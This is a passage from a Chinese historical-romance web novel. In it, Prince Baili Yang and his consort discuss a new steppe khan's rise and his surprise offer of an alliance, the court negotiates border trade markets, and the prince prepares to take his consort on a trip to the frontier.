百里漾之前巡视边境的时候去伤兵营看过那些伤兵,第一眼看过去是很震撼的,是那种瞬间被重力击中心脏的感觉,又疼又麻,大脑都有一段时间的空白。他从来都知道打仗是会死人的,即便来之前已经预想过了那样的场面,但是真正见到的时候却发现之前想的都过于简单了。 “离渊那边有什么消息传来么?”百里漾问道。 算算时间,现在正月还没有出,按照离渊以往的习惯,这会儿那边会是什么情况? 崔栋眉头拧起,“最近这段时间离渊更乱了,乞罗扎汗快熬不住了。” 这也意味着草原之上的汗王之争会更加激烈。乞罗扎汗底下的两个儿子海克罗和都力联手抵抗阿希烈都还落在下风,只能再寻求其他态度未明的部族的支持,再就是想法设法给支持阿希烈的势力找点麻烦,借机吞并他们的草场、牛羊,削弱阿希烈的势力。阿希烈那边也不会坐以待毙,两边就这么一直在掐。 草原上是一团乱。势力小些的池鱼很怕被殃及,今日投靠这个又怕明日被那个被端了,左右为难,惹不起也躲不起。之前安插在那边的探子在这样的时局动荡之中很容易暴露,主要是夹在海克罗和都力与阿希烈的斗争之间很容易被炮灰。在这种情况下,就算是有消息穿回来大衍这边,估计过程也很曲折,传不出来的可能性更大。 百里漾:“看来要不了多久就能知道离渊的新汗王是谁了。” 目前来看最有可能的是阿希烈,但事情不到最后尘埃落定的时候都不能轻易下结论,说不定什么时候就有令人意想不到的反转呢。 “急报!紧急军情!” 一个骑着快马、身上插着令旗的士卒犹如一道疾驰的利箭冲进了城门,一头扎进了城中。沿途遇到行人也不曾减速,只在马上大声呼喊“让开,快让开”。路上行人皆受了惊,赶紧避开,有脾气爆裂的张嘴要骂娘,但看到士卒的穿戴以及他身上的令旗直接变了脸色,骂娘的话也堵在嗓子眼没有发出来。 那是军中的传讯兵,身上插的令旗则意味着十万火急的紧急军情,所骑之马更是只供八百里加急才可使用,可以遇人不避,即便是公侯勋贵见之也要避让。 凡冲撞拦截者,可杀之。 躲得慢点被撞了被踩了,残了或者死了都只能自认倒霉,官府是不会给予任何赔偿的。要是因为自己的原因导致延误军情,还会被下大狱和砍头,这谁敢拦他阻他。 传讯兵从永定大营一路疾奔而来,送来的军情也很快传到了百里漾手中,他看完之后将军报传给了旁边的范国相、崔栋等人。他们看完之后,脸色都是几乎一致的沉重。 “离渊的新汗王已经出来了,就是阿希烈。” 正月中,乞罗扎汗召各部落统领、贵族集于王庭举行祭天。夜间行宴毕,乞罗扎汗六子海克罗和九子都力密谋合兵趁夜围杀同来参加祭天的阿希烈及其部将,反被识破计谋。阿希烈将计就计,提前调集人马,诱敌深入,等海克罗和都力等人冲入阿希烈驻扎的大帐之中时,与营地之中的伏兵里应外合,将海克罗和都力一举全歼。 汗王之位的最后三位有力竞争者去其二,剩下的阿希烈则毫无疑问地成为默认的下一任汗王。因为彼时的乞罗扎汗还没有死,阿希烈还不能称之为离渊汗王。 可乞罗扎汗连这个春天都不会活过去。他病重之后将手上的剩余的势力和心腹都交给了海克罗和都力,显然是更愿意父死子继,让自己的儿子成为下一任的汗王。如今阿希烈大获全胜,情绪上的大悲加上病重的身体,此时离渊的气候还很熬人,他不会熬得过去。即便能熬久一点,阿希烈也不会让他活太久的。 百里漾深吐出一口气,看向诸人,“从即日起,令永定大营全体兵将加紧操练,不可有一丝懈怠。边境巡防亦要加强重视,加派人马,日夜巡视。” 崔栋跪下说道:“臣即日便赶赴永定大营。” 永定大营目前是江都国北御离渊的最强也是唯一的兵力,只有定襄将军褚之邑在那里镇着,于公于私都是不足够的。崔栋亲自赶赴坐镇,即可以防着离渊来犯,也可以防着褚氏趁机搞什么小动作。 “允。”百里漾说道,“崔都尉此去可代行王事。” 下方给崔栋权力,不怕治不住人。 余下的便是等了,等离渊的动作,也等湛京那边的消息。 江都因为靠近离渊,收到消息会早些。他们收到消息的时间比离渊祭天还要晚上好几日,这估计已经是尽可能最快的了,再传到湛京,再是八百里加急少说也还需要两日时间。这是事关大衍边境安宁的大事要事,该如何做,诸侯王这边自然也是要遥听上谕的。 而湛京那边也只是晚了一日半就收到了离渊惊变的消息。皇帝急召太子、三公九卿等朝中重臣入宫商议,之后不断有旨意从宣室殿中传出。近的传到湛京的各部衙门之中,远的则是由快马传到定安国、江都国各处。 定安国中,定安王令人将宣旨的天使带去好生安顿之后,国相上前道:“想不到还真是那阿希烈上位了,他可不是一个好相与的啊。”他的面上带着十分的凝重之色,可见阿希烈的上位在他看来是一件极为糟糕的事情。 “阿希烈又如何?本王还能怕了他不成,他若要来打,本王奉陪到底。”定安王亦听说过阿希烈的血勇之名,但他却不会惧了阿希烈,“本王还正愁无处立军功。” “大王不可轻敌,阿希烈此人比海克罗和都力加起来都危险。”国相沉声道。在他看来,哪怕是海克罗还是都力上位都会比如今的阿希烈好太多。 定安国作为长期北御离渊的重要诸侯王国之一,对离渊的了解并不少,而汗王的人选至关重要,定安国这边也针对海克罗、都力还有阿希烈做过详细的情报收集。阿希烈就不必过多赘言了,海克罗和都力能从乞罗扎汗那么多的儿子之中坚持到最后,自然也有他们的过人之处。 海克罗是乞罗扎汗第六子,此人性奸滑,善谋略,但为人多阴狠,下手少有留情,乞罗扎汗的其余儿子里有好几个就是被他搞废的。都力相比于海克罗就没有那么聪明了,但他力大无穷,冲锋陷阵在离渊几乎少有人敌。这两人因为各自的妈是亲姐妹,所以自小处的就比其他兄弟亲厚,之前能联手抵抗阿希烈也有这方面的原因。 这两兄弟一个智,一个勇,合起来就是智勇双全,但是耐不住人家阿希烈一个人就把这两项全占了,兄弟俩干不过也是很正常。其实汗位之争到后期传出海克罗与都力联手抵抗阿希烈时,大衍这边其实就有预料离渊那边最后很有可能就是阿希烈继任汗王之位了。但离渊新继任的汗王是一个年轻力壮、有勇有智的英明之主,对于大衍来说绝对不会是一件好事。 不少人还期盼着有逆转,这结果还是令许多人失望了。 可事情已经如此了,眼下要紧的是如何应对的问题。 天使宣读来自湛京的旨意时,国相也跪听了,对圣旨上要求的“勤务练兵,增补边防”等并没有多少意外,不管怎么说,如今的大衍对离渊依旧还是以防御为主,想要深入腹地去剿灭离渊实在是太难了。 现在做的这些只是以防离渊新汗王继位之后真的大举挥兵南下,大衍这边匆忙应对会使得败仗,损兵折将。 定安王:“当下一切依防务为要,谁敢不听号令,立斩不赦。” …… “此战是无法避免了么?”颜漪亦听闻了离渊那边的消息,不由秀眉深蹙。 “这就要看阿希烈怎么想的了,还有就是他震不震得住草原各部。”百里漾回道- 作者有话说:更新啦。 第144章 暂时的隐患 如果震不住, 那么新上位的阿希烈确实需要一场对外部的胜利战争来彻底确立自己汗王的威信和地位。那样的话,大衍与离渊在短期内势必会有一次大战。现在的大衍面临的就是打和不打的两种可能,能不打固然是最好的, 但不管如何有备无患总是没有错的。 “大王能跟我讲讲阿希烈么?”颜漪看向百里漾,带着一点请求问道。 百里漾自然不会拒绝就这个要求而拒绝她,他思考了一会儿,组织语言后开口说了他看到的有关阿希烈的情报,最后不由感叹道:“这阿希烈也的确是一个人杰, 他能坐上离渊的汗王宝座绝不是运气使然。” 乞罗扎汗是汗王女婿上位, 与上任汗王的儿子们相比, 他一开始在草原各部族心中继位多少都是有瑕疵的,拥戴上任汗王的草原势力必然是有很多还是不服他的。 后来的乞罗扎汗是趁着南边王朝末年纷杂的战乱带兵南下劫掠了一波为草原带来了大批的金银财宝和物资, 至此才真正坐稳了汗王之位。他好不容易拿下了汗王之位,从私心里更希望汗王之位能够在自己的子嗣后代手中永远传下去, 就像之前的汗王一样。 乞罗扎汗走的这条路子能成,很大的原因归功于离渊仰慕强者的风尚。他成了, 也担心未来会出现下一个“自己”将汗王之位从他或者他儿子的手中拿走, 其中他最提防的还是上任汗王还活着的子嗣。 上任汗王是从自己的父亲手中接过汗王之位的, 他的父亲也是如此,这么多年对离渊草原各部的影响可谓是极其深厚,加上草原各部族之间长年相互联姻,多年下来彼此之间或多或少都有点亲缘关系,乞罗扎汗再是想彻底清除上任汗王的势力都不可能。 乞罗扎汗忌惮上任汗王的子嗣会重新卷土重来夺回汗王之位,对上任汗王余下的子嗣是千防万防。但凡出现一些苗头,那都得掐死在萌芽里。 在这种情况下,阿希烈能活到现在还在与乞罗扎汗博弈以及与海克罗和都力的竞争之中拿下汗王之位,何等的不易。 “他若为敌, 可当真是一个十分强劲的敌手。”颜漪听完后亦感叹道。 她的目光复落在百里漾身上,摸摸他眼睛下面浮现出的一点青黑色,带着点心疼,“大王近日的忙碌与劳累也都是因为他。” “好在还有时间,事情也安排的差不多了。”百里漾在想自己的黑眼圈是不是很重,想找张镜子看看。但他现在躺在王妃的腿上,享受着那双柔荑轻轻按压两侧脑门带来的舒适感,就不太想动了。 事实上从接到从离渊过来的消息之后,百里漾就不得不变得忙碌起来,再到后来从湛京传来旨意后到现在,他已经忙得七八日不见人影了。 别看“边防”只有二字,但涉及到兵力、哨防布置这些军务,需要做的事情可太多了。几万人的军营,人马如何调动指挥,后续的粮草军需如何调取分配,钱粮从哪里来,任何一项出了点问题都是不得了的大事。 这一桩桩一件件要安排下去可不是随便拍拍脑袋就能决定的事情,廷议上已经吵过几次架了,一些臣子争得脸红脖子粗的。范国相等人几乎日日进王宫来长乐殿小书房开小会议,天黑才回去。这样才逐渐将事情一项一项慢慢都安排下去。 这些事情都办完了,百里漾才算是松了一口气,想起来他已经有将近小半个月的时间没有见到颜漪了,就直奔永延殿来了。 因为要召集范国相等人议事,且在长乐殿处理各项事务最是方便,百里漾就搬了回去。这还是除了他去边境那段时间之外,最长的一次时间没有见到颜漪。 忙的时候没有时间去想,事情告一段落了那股思念就跟疯长的杂草似的。百里漾一个眨眼的功夫都不想耽误,他想立刻见到颜漪。往永延殿走的时候,他觉得这路怎么这么长,他要是会瞬移就好了,“嗖”的一下就能到王妃跟前了。 “现在是正月末,江都这边都还冷着,离渊那边就更不用说了。阿希烈虽然一举将海克罗和都力铲除了,可海克罗和都力手底下的人马、依附他们的草原部族势力这些也都要处理,他就算是想南下进犯也腾不出手来,眼下的季节也不是一个好时机,最早也要等到今年入秋之后。” 百里漾享受着轻柔的按摩,鼻间嗅到的都是颜漪身上好闻的馨香,这段时日因为绷紧而有些抽痛的神经得到了缓解。他一边闭着眼,一边与颜漪说离渊的事情。 “入秋之后。”颜漪重复了一遍这个时间节点,说道,“似乎以往离渊稍大些规模的进犯都是在秋季这段时日。” 颜漪能说出这话说明她以前必定是看过不少史书的。离渊乃至离渊之前的草原与南边王朝的纷争存在好多年了,期间北边不知道南下进犯劫掠过多少次,大肆举兵来犯的就有十几二十来次,那种小股人马抢一波就跑更是数不清了,史书上都不会次次都有记载。 百里漾精神一振,目光灼灼地看着颜漪,问道:“七娘知道这是为什么么?” “因为马。”两人目光对视,好一会儿后,颜漪轻轻吐出了三个字。 百里漾的眼睛更亮了,他坐起身来,拉着颜漪的手说道:“就是马。” “到秋季时,秋高气爽,马儿正是肥壮的时候,对离渊来说正适合南下用兵。”颜漪唇角的弧度再上扬,继续说道。 越是说百里漾越是发现他的王妃在军事打仗方面也懂得很多,她说话的时候面上神采奕奕,好像是星星在发光一样,让人看着挪不开眼。 百里漾道:“夏季草原牧草茂盛,入秋后,马儿吃了一季肥美的牧草已是长得极其肥壮。而秋日的气候既不似夏季的炎热也不似冬日的严寒难当,对人对马都是最适宜的。” 主要是秋季这个季节正好夹在了离渊两个极端对立的时节之间——夏季草木茂盛,牧场水草正是最为丰美的时候,牛羊马的食物来源有保障,离渊人也不会缺衣少食、日子难过;冬季的情况则大为相反,寒冬过于冰冷的环境致使牧草难以生存,牛羊马的食物难以保障,更别说还会有牛羊马挨不住而冻死的。即便是离渊人也不太受得住严寒的气候。也因此,冬日是离渊一年之中最难熬的时候。 在秋季时节举兵南下,离渊人的骑兵优势可以得到最大程度的发挥,南下劫掠到的物资也能够帮助离渊人度过寒冬。 “夏秋时节,这个时候在家中是最不可能见到阿爹与大兄的。”颜漪面上显出一点落寞和怅然来。 她的阿爹与大兄,也就是定国公颜定山和定国公世子颜青柏。定国公长年在外领兵抵御离渊,一年到头都没有多少时间待在湛京,更不用说待在家里的时间了。他的长子颜青柏是多年跟随在他身边的,也不怎么有时间回湛京与家人团聚。 去年八月,百里漾与颜漪成婚,即便是女儿成亲那般重要的场合,定国公与世子父子俩也没有能够抽身回来湛京参加女儿/妹妹的婚礼,只能派遣亲信回来代为祝贺和添妆。那时候正好是秋季,大衍边境要防范离渊随时可能的来袭,重要统帅将领半步都不能离开。尤其是近两年因为乞罗扎汗病重,底下为了争位一团乱,大衍这边就更不能掉以轻心了,必须绷紧了神经,加强防范。 自己成亲,高堂之上只见母亲不见父亲,尤其是那还是一位自小疼爱自己的父亲,换作是谁心中或多或少都是会留有遗憾的。 可这样的情况是由大衍当下的国情决定的,单凭个人的力量和意愿是改变不了的。百里漾不知道如何安慰颜漪,毕竟做不敢感同身受,只能握了握她的手传递一点温暖过去。 “若是可以不打仗就好了。”百里漾舒舒服服地躺在柔软的床榻上,闭着眼睛,在这安逸舒适的氛围里让他有点昏然欲睡,口中轻喃道,“若是有办法让离渊人不越境南下就好了。” “大王不喜征战,当是仁善之主。”颜漪由衷说道。 她看向百里漾的目光中满是认真,只是百里漾闭着眼睛并没有看见,而是轻笑出声,只道:“王妃对我的夸张太盛,我可不敢厚着脸皮应下这‘仁善之主’的赞誉。” 怎么样才能算是一个圣主仁君?百里漾不知道,类似的话他在江都的臣子口中听到过很多了,但他知道这个绝大部分是在拍他的马屁,刻意说好话来讨好他罢了。即便是上奏给他的奏报里在开头和结尾都要依例写上两句好听的话。不过,这种话听听就好了,不能入耳,更不能入心,真的信了就该是被底下人蒙骗的时候了。 百里漾半睁半闭一只眼睛,嘴角扬起,笑看着颜漪说道:“可王妃如此夸我,这心里忍不住还是美滋滋的。” 他这模样显出几分少年人才有的俏皮,让颜漪不禁也跟着乐了。 王妃笑得实在好看,百里漾觉得自己忽然又不困了,他心里有点痒痒的,撑起身子飞快地在颜漪的唇角留下一吻。发现她没有拒绝的意思,百里漾的一颗心瞬间变得火热起来,双手轻轻捧住她的脸就继续亲了下去。 ……以下省略- 作者有话说:更新啦。 第145章 盟好 因为离渊新汗王上位之事, 大衍这边整体对北境边防重新做了一次兵力部署。倒不是真的怕了离渊会大肆举兵南下进犯,真要打起来,大衍这边也不怵他离渊。 如今这朝堂之上站着的很多老臣可都是跟随皇帝打天下的悍勇之将, 身上的功勋可都是自己亲上战场真刀真枪地挣出来的,不少人心里还惦记着立朝之初大衍在离渊手上吃大亏的憋屈事,一听说离渊新汗王可能会领兵南下入侵,群情激动,纷纷出列表示愿意领兵出征, 击退离渊。何况如今的大衍也不是立朝之初处处荒芜、百业凋敝的残破光景了, 经过了两代皇帝的勤勉治理, 不断地与民休息、恢复生产,国库已经充盈起来, 这仗大衍打得起。 可打仗不是一件小事,兵马调动、粮草后勤都要动起来。几万人甚至是十几万、几十万人马的吃喝嚼用, 算起来都是一笔天文数字。打仗固然打的是兵力、战力,但钱粮调动也是一个能决定战局的大问题, 总不能让将士和战马饿着肚子上战场吧。 虽然目前这场仗打还是不打尚在两说, 但凡事提前做好准备总是没有错的。还有就是离渊那边如今究竟是个什么情况也要搞清楚, 也不能完全两眼一抹黑跟抓瞎似的。可之前派往草原的探子都不怎么能将消息传出来了。 这可不行,还得再派人过去收集情报,其中要加大对那位离渊新汗王阿希烈的情报收集和研究力度。之前也收集过一些,但却没有如今的重视。毕竟那时候的阿希烈只是离渊的一个渠帅,并非如今的汗王。 一个人被人看待的重视程度是由他当下所处的地位决定的,之前的渠帅阿希烈当不得大衍这般重视,但如今他是汗王了,也就当得了。 大衍这边等了一个多月,到三月中的时候, 春耕都过了,离渊那边竟然派遣使臣过来了。 两军交战,不斩来使。这是国与国之间绝大多数情况下都默认遵守的规矩,何况当下大衍和离渊还不算是真正的打起来。离渊这次派遣使臣过来也是正正经经地走流程递交国书过来的,言辞上并没有什么傲慢不敬之处,大衍这边怎么也要给点面子,也想看看离渊那位新上位的汗王究竟是怎么回事。 大衍给予了离渊该有的排面,皇帝于大朝会上接见了离渊使臣。 前来的离渊使臣的样貌很符合当下大衍对离渊人的印象,身材高大魁梧,肤色偏黄黑,高鼻深目,结辫披发,毛发旺盛,几乎满脸的络腮胡,看着颇具凶相。这使臣的大衍话说起来有些瓮声瓮气的,不是很流利,但该表达的意思表达得十分准确,至少上至皇帝下至满殿朝臣都听明白了他的意思。 离渊派遣使臣前来递交国书只有两个大目的,其一是向南边的大衍朝正式宣告大可汗换人了,乞罗扎汗已于二月下旬病逝,草原各部族共同拥立阿希烈为新汗王,已祭告天神,如今特来向贵国皇帝陛下告知;其二是新任汗王阿希烈希望能与大衍结成邦交,约为兄弟之国,彼此互不侵扰,互通互市,和睦相处。 此话一出,不得不说朝臣们受惊不小,因为以他们对离渊目前情况的了解,心中其实是更倾向于新汗王阿希烈会兴兵南下的,如今这使臣说什么?新汗王不仅不想动兵打仗,还是来交好的,这实在是有点反常了。 朝臣们第一想法就是怀疑离渊是不是有什么阴谋诡计,还是离渊又发生了什么他们不知道的事情?但无论大家心里是怎么想的,这个时候多年在朝堂上混迹培养出来的政治素养让他们都稳住了面上的神色。 离渊使臣既然在如此正式的场合提出了建立两国邦交之事,不管答应还是不答应,当下大衍都要给离渊使臣一个回复。此事颇为突然,皇帝只是兹事体大,又过了一边场面话,并没有给出明确的答复。离渊使臣预想过这个结果,并没有多说什么,只是再次强调了一次他们这次是带着离渊以及大可汗满满的诚心诚意而来的。 皇帝下令将离渊使臣一干人等安置在使馆,令人好生招待。且先不管离渊私底下是不是在打些什么别的主意,人家将礼数方面做的挑不出什么毛病,明面上更是声称是来与大衍建立邦交的,大衍这边就不能小气,要展现出大国气度与风范。 朝廷前头安排好离渊使臣,叫负责此事的鸿胪寺官员好生招待,也是为了拖一段时间,毕竟离渊突然一反常态跑来说要交好大衍,朝廷这边若是不将背后的原因调查清楚,也拿捏不好处理此事的分寸。 首先重点调查的离渊那边究竟是个什么情况。阿希烈在正月离渊祭天之夜成功反杀海克罗和都力之后,紧接着以雷霆手段清洗了那些死忠于海克罗和都力的部将亲信,狠狠震慑了一番草原诸部,将自己离渊汗王的地位与威信彻底奠定下来。这个过程有点长,从正月祭天之后一直持续到三月初,阿希烈率领兵马亲自上阵,将那些不服他的离渊贵族全都杀光,以鲜血铸就了他通往汗王之位宝座的道路。 在这个过程之中,病重的乞罗扎汗终于撑不住了,在二月下旬从王庭传出他的死讯。当时正在清理最后一点海克罗和都力剩余势力的阿希烈从草原赶回王庭,正式继位大汗。随后这位汗王阿希烈就开始着手与大衍建立邦交的事情,自然离渊也有内部反对的声音,不过那些都被阿希烈给压下了。 “这个阿希烈手段了得,恐怕不输其祖父。” 东宫里,栎阳长公主百里澄评价道。太子与其余东宫臣属心中何尝不是这般想法。离渊有如此能主,对于大衍来说并不是好事。 可眼下离渊这位新汗王却无意与大衍开战,他的行事作风与以往的汗王大不相同,至少在对待大衍的事情上显现出了截然不同的做法。在阿希烈之前,以往的草原汗王看待南边的中原王朝的态度就是一块肥肉,经常琢磨着要怎么啃下来一块大的。 乞罗扎汗便是一个典型的例子,他当年趁着前朝哀帝死后中原的混乱想要南下,只是最后被各路诸侯联手打回去,饶是如此他最后还是领着离渊骑兵劫掠了大量的金银财宝、粮食和人口回去。大衍立朝之后,乞罗扎汗因为之前对大衍获胜的“功绩”,对外显示出的对大衍态度一直是看不起的轻蔑之姿,直到今上继位之后,离渊想要南下进犯的行径大多都被大衍强力阻击,离渊那边的气焰便逐渐没了一开始的嚣张。 可这么多年了,离渊正式向大衍提出建立邦交、约为盟好之国,这还是头一回。所以才说离渊那位新汗王真是很不一般,他似乎没有之前草原汗王对大衍的好战。 大衍这边也打探了离渊那边的情况。阿希烈做出这个决定连大衍这边都觉得难以想象,离渊那边就更不用说了,那些离渊人只觉得阿希烈这个新任大可汗是不是疯了。说得好听是建立邦交,但在崇尚武力好战的离渊人看来,此举跟离渊向大衍服软示好有什么区别? 离渊上层贵族很多强烈反对,不能接受,甚至因此使得有人认为阿希烈对内向自己人下手凶狠残酷、不讲情面,对外却软弱可欺,觉得他不配成为离渊的大可汗,继而产生反对阿希烈上位的呼声。但这些反对的声音都被“一意孤行”的阿希烈强行镇压下去,所以才有了今日的局面。 太子詹事说道:“据说那位新汗王的生母是哀帝时被掳掠到草原的中原人。” 或许这是阿希烈想要与大衍交好的原因之一,但这已经不重要了,因为结果已成,朝廷这边经过商议之后决定同意离渊提出的缔结盟好之国的请求,但有关互市互通以及一些其他问题的细节还是要再进行商议。 到底打仗是一件有伤人和之事。大衍这边才安生了三十来年,这时间对于一个王朝来说并不长,等于刚从哀帝之后的战乱喘过了气,内部各项才刚刚走上正轨,若起战事必然要受到冲击,而且如今朝廷的情况也不适宜将大部分的精力耗费在应对大规模的外部战争之上。 大衍这边很快给了离渊使臣回复,表示愿意与离渊建立邦交,但一些具体的事宜则是要详谈。而皇帝近来头疼之症愈发频繁,遂将此事交给了太子牵头去办。 太子,太子身体最近也不太好。 但此事事关两国邦交,更是牵涉到未来边境几十年的和平,兹事体大,不容轻忽。太子是国之储副,身份是足够的,由太子出面办成盟好之事是最适宜的,也是皇帝对外显示出对太子的看重,东宫无论如何都不能推拒此事。 这份差事并不算很难办,大衍和离渊双方都有停战修好之心,总体的基调是定下了的,剩下的大多是细节方面的问题,更多的只是繁琐了些,需要花时间、付出精力去慢慢磋商,而其中需要花费大量精力和时间去谈是互市的问题。 离渊那边的态度是希望多开几个榷场,并希望能够从大衍淘换到更多盐、茶、粮食、铁器等物品。虽说是交换,离渊那边用草原上盛产的牛羊马等物来交换大衍的东西,但有些东西比较特殊,比如说铁器之类,不能说完全不给,但给多少也要控制在一个合适的量,而大衍这边也想要离渊的良马…… 榷场是必然要开的。离渊这两年因为气候变化的原因,草原上的日子并不是那么好过,牛羊等牲畜都减产了,牧民损失惨重,要生活下去都显得困难许多。若是不通过榷场让离渊那边换取到足以令他们生存下去的物资,离渊骑兵还是会越境过来劫掠边民的。 可开几个榷场、开在哪里,如何管理,税率如何定,这些都是问题。 等朝廷与离渊彻底将建立邦交的事宜敲定,离渊使臣带着新出炉的国书回离渊时,时间已经来到了四月。 江都这边也收到了大衍与离渊定下盟约的消息,更收到了朝廷要在江都建立一个榷场的圣谕。这倒在意料之中,江都作为毗邻离渊的几个诸侯王国之一,与定安国、山阳国、长夏国一样都收到了开设榷场的旨意。 圣谕直接发往各诸侯王国,可见朝廷对开设榷场一事的重视。同来江都的还有太子、栎阳长公主的书信,内容主要是对开设榷场的一些提点和注意事项,还有就是对百里漾的问候,以及百里澄在书信末尾问他和颜漪何时给自己生个小侄女或是小侄子出来,她觉得自己该升一升辈分了。 百里漾看到末尾那一行字的时候,面部表情都要化为活生生的“囧”字了,偏偏这时候王妃在身边问了一句,“信中说了些什么?”他莫名的有些心虚,不是很敢给颜漪看长姐写的信,只好先给她看太子长兄写的,然后再将长姐写的拿在手里,一部分手指遮挡住了后面那些催生孩子的话。 颜漪一开始没有觉出百里漾的小动作,只是后面在百里澄的信的末尾时,信尾的问候之语显然未尽,但百里漾的手始终捏住信尾,两根手指牢牢占据着那处位置,丝毫没有松开的意思,只好看向他,以目光询问。 百里漾轻咳了一声,含糊道:“长姐这人有时候促狭得很,后面的不看也可。” 可人就是样,越是不让看越是好奇。颜漪也是如此,她注意到百里漾眼神有点飘忽,再联想到百里澄时不时冒出点促狭坏水的性子,恐怕还真如百里漾所说写了点什么促狭的话。既是如此,那么不看也可。 既然不看信了,那便转回正题。颜漪想到如今大衍已与离渊定了盟约,感叹道:“离渊新任汗王无意征战,虽说出人意料了些,但确是不失为一件上上好事。” “离渊无意兴兵,这榷场的开设便成了重中之重。”百里漾说道。 无怪乎朝廷重视,因为很多时候离渊骑兵南下劫掠更多是为了抢夺生存物资。离渊的气候和土地资源环境决定了生活在那片土地上的人只能够放牧,农牧副产品种类相当单一,并不能像南边的大衍一样因为土壤类型丰富,可以发展各式各样的种植业,产出种类极其丰富的农产品。加上离渊那边气候变化很容易朝极端恶劣的方向发展,一旦遭灾,离渊人就容易因为食物短缺而活不下去。 生物可以为了生存而穷尽所有手段。离渊内部的资源产出不能满足群体的需求,那么向外求取是必然的事情。 问题就在于如何求取。 温和的方式就如同当下,大衍与离渊签订盟约,双方互不侵犯,互市互通,离渊缺少的物资可以通过贸易的方式取得,在遇到特殊情况时,大衍会给予离渊物资助其渡过难关。其实本质就是大衍花钱买边境平安,不至于让离渊人活不下去了越过境来搞事。对于比战争的支出,这一笔买卖其实很划算。前朝鼎盛时也这么干过,北边也接受良好。 只不过后来前朝衰落了,北边发现抢更快、东西更多,就这么一直劫掠下去。于是这几十、上百年来北边获取外部物资的方式一直是南下劫掠,直到今日才转向了温和。 “再过几日我便又要往边境去一趟了。”百里漾看着颜漪说道。 榷场的开设是为了大衍和离渊两边互市的,出于方便双方以及其他诸如军事、经济方面的考虑,选址初步定在边境,也就是远宁城一带,但具体定在何处还需要去实地进行考察。选址之后便要着手动工建成榷场,整体建筑如何布局规划、管理官员如何选派、两边进入榷场后该按照什么样的章程行事、巡防该如何部署……这些都要一一安排妥当,否则一旦出现问题影响的就是两国邦交。 朝廷重视,底下也得重视起来。 百里漾自己不去亲眼看着也不太放心。只是这样一来,他就又要与王妃分开一段时间了,心里还是不舍得。 “大王勿忧,我会在王宫打理好一切的。”颜漪对百里漾即将赶赴边境之事早有预料,只是在真正面对时心中仍免不了生出一些低落来。 她、她心中也是不舍百里漾离开太久的。 只是榷场一事干系重大,要建起来不是朝夕之事,怕又是要有一两月见不着这人了。 百里漾道:“我不是说这个,有你在我没有不放心的。”他只是有些不甘心,还没有分离,他就开始惆怅了分离之后思念王妃的事情了,王妃都不想或者不舍得他的么? 他试图在颜漪面容上找到不舍他的痕迹,忽然一念涌上心头,转愁为喜,“王妃不若与我同去?” 还有什么事比这个办法更好的了? 开设榷场百里漾是必然要过去亲自看着的,唯一不用分离的办法便是他将王妃带上。他越想越觉得这个办法好,仪仗可令人备下,起居用具可多备些,侍从护卫多带些人。眼下边境不会再起战事,江都也在他的掌控之下,此去不会有什么大问题的。 颜漪一时没有想到百里漾会提出让她同去,有点意外以及反应不过来。 百里漾却误会她心有犹疑和顾虑不肯答应,忙说道:“上回巡视边境因是去军营不方便,今次却是无碍的。边境虽说荒凉了些,但那苍茫辽阔之景却是独有的,很可一观。郡城之中有国相看顾,王宫中亦有柳姑姑在,以往也没有出过什么乱子。” 说到后面,恐她不去,劝说加引诱齐上,连他们离了郡城之后令何人坐镇都想好了- 作者有话说:更新啦,求评论[可怜] 第146章 再往边境 颜漪心中并非没有意动, 顺着百里漾所说去想,发现并无不妥当之处。 “那就这么说定了,我这就吩咐他们去准备。”百里漾见她神色松动, 知道她是答应同去了,顿时喜不自禁,连忙起身去叫人去将王妃出行要用的仪仗提前准备好。 初禾从殿外进来就听到百里漾吩咐的话,不由面露惊喜,向颜漪求证, 得到回复之后顿时欢呼, 又强行让自己稳重下来, 但目中仍是难掩激动,“那、那奴婢这就去准备王妃出行的衣物穿戴用具等物。” “等等。”颜漪看着因为即将出远门而欢喜的人不由失笑, 随即叫住了初禾。 还没等颜漪说出什么,初禾突然自己冒出一个令她悲伤的猜测, 一瞬间那得知即将可以随大王、王妃出门远行的喜悦通通消失,尽数化为了忐忑, 还有点哀怨, “王妃此行该不是不让我跟着伺候吧?” 这并非是没有过的, 此前就有好几次大王带王妃出宫游玩,因是微服出行不好带太多人随从伺候,她也被留在了王宫中。 虽说她是很乐见大王与王妃夫妻恩爱、感情和睦的,可她跟着也不是做碍事之人的,偏偏之前的几次都被留在了王宫中等候,心里多少是有点小失落了。更多的是先前有过期望,而期望落空变成了失望,落差太大令人难以接受。 “放心吧,这回定是要将你带上的。”颜漪哪能没有看见初禾哀怨的小眼神, 笑意更深一分,随后说道,“估计后日就要启程,你去将柳姑姑请来,我有宫务要交给她代办。” “喏。”初禾心彻底稳了,当即恢复成稳重的永延殿近侍女官,朝王妃行礼告退了。 颜漪随百里漾同去边境的事情就此定下。 因为出行之期就在眼前,又临时加了王妃这样身份贵重的人物,王宫要重新准备二人出行的仪仗,车马也要重新准备,随行护卫的兵士要再翻一番,王妃要用的衣帽、配饰等用品则由永延殿宫侍来准备。 在出发之前,百里漾忙着将政务交付给范国相等心腹之臣,又开了几次小会将开设榷场的事宜再重新捋过一遍,查缺补漏。等到真正出发的时候,大王、王妃共同出行,阵仗难免浩荡了。一路之上有先头侍卫清道,所过之处无人不拜伏行礼,直至王驾远去。 王驾出行,随行人马众多,速度比不上轻车简从,但沿途有风景可看,路上也不算无趣。 眼下是三月末,桃花正是开得艳灿的时候。山间野桃花争艳,可谓是一路桃云不断。间杂着各色或明艳或淡雅的小花,别有一番赏心悦目。 百里漾见颜漪一路看花赏景兴致颇高,干脆与她说一下自己知道的沿途郡县的风土人情和县志趣事。正说着呢,初禾进来说崔都尉求见大王。 “求见我?”百里漾最近听到崔栋的名字就有点头疼,这厮最近颇为哀怨,见了就要喋喋不休了,他听到差点就忍不住要出痛苦面具了。而且,说是求见,因为王妃在王驾之内,崔栋也不可能上来,只能百里漾自己下去。说白了就是要找百里漾私下说话排解哀愁。 还有就是,这次边境之行崔栋也跟来了。 本来百里漾没带算让他跟来的,但他还是来了,不过这次算是被卢氏赶出来的。原因在于夫妻俩吵架了,崔栋被赶出来之后无处可去,想来想去还是灰溜溜跟来了。 大衍与离渊签订盟约之后,之前赶赴永定大营坐镇的崔栋就被百里漾调回江都了。而这次往边境去主要是为了开设榷场的事情,崔栋是武将,去不去都成。考虑到卢氏尚在孕中,身边能有丈夫的陪伴自是最好的,百里漾就没有将崔栋的名字放在随行人员的名单里。 